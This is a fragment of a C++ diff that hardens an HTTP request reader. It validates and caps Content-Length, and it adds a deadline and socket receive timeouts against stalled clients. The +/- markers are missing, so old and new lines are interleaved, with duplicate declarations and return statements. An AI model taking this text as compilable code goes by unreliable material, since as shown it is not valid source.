if (!recv_all(s, tmp, chunk_size, deadline)) return false;
body.insert(body.end(), tmp.begin(), tmp.end());
char crlf[2];
if (recv(s, crlf, 2, 0) != 2 || crlf[0] != '\r' || crlf[1] != '\n')
if (!recv_byte(s, crlf[0], deadline) || !recv_byte(s, crlf[1], deadline) ||
crlf[0] != '\r' || crlf[1] != '\n')
return false;
}
}
}
// Naive, single-value Content-Length parse (we generate the requests).
size_t pos = h.find("Content-Length");
// Content-Length must be a non-negative decimal integer (RFC 9110).
// atoll() would turn negative/garbage input into a huge size_t and drive a
// giant allocation; validate the digits and cap the value instead.
size_t pos = low.find("content-length");
size_t len = 0;
if (pos != std::string::npos && pos < cl) {
pos += 14;
pos += 14; // strlen("content-length")
while (pos < cl && (h[pos] == ':' || h[pos] == ' ' || h[pos] == '\t')) pos++;
size_t end = h.find("\r\n", pos);
if (end == std::string::npos || end > cl) return false;
len = (size_t)atoll(h.substr(pos, end - pos).c_str());
std::string val = h.substr(pos, end - pos);
size_t vb = val.find_first_not_of(" \t");
size_t ve = val.find_last_not_of(" \t");
if (vb == std::string::npos) return false;
val = val.substr(vb, ve - vb + 1);
if (val.empty()) return false;
for (char c : val)
if (c < '0' || c > '9') return false;
uint64_t n = strtoull(val.c_str(), nullptr, 10);
if (n > 64 * 1024 * 1024) return false;
len = (size_t)n;
}
return recv_all(s, body, len);
return recv_all(s, body, len, deadline);
}
void send_response(SOCKET s, const std::vector<uint8_t>& body) {
@@ -167,6 +198,12 @@ bool serve(uint16_t port, const Handler& handler) {
SOCKET client = accept(listener, nullptr, nullptr);
if (client == INVALID_SOCKET) continue;
// Bound each individual recv so a stalled client cannot hold the relay
// loop forever; read_request additionally enforces an absolute 5s
// deadline for the whole request.
int rto = 5000;
setsockopt(client, SOL_SOCKET, SO_RCVTIMEO, (const char*)&rto, sizeof(rto));
std::vector<uint8_t> body;
bool ok = read_request(client, body);
std::vector<uint8_t> eph_pub;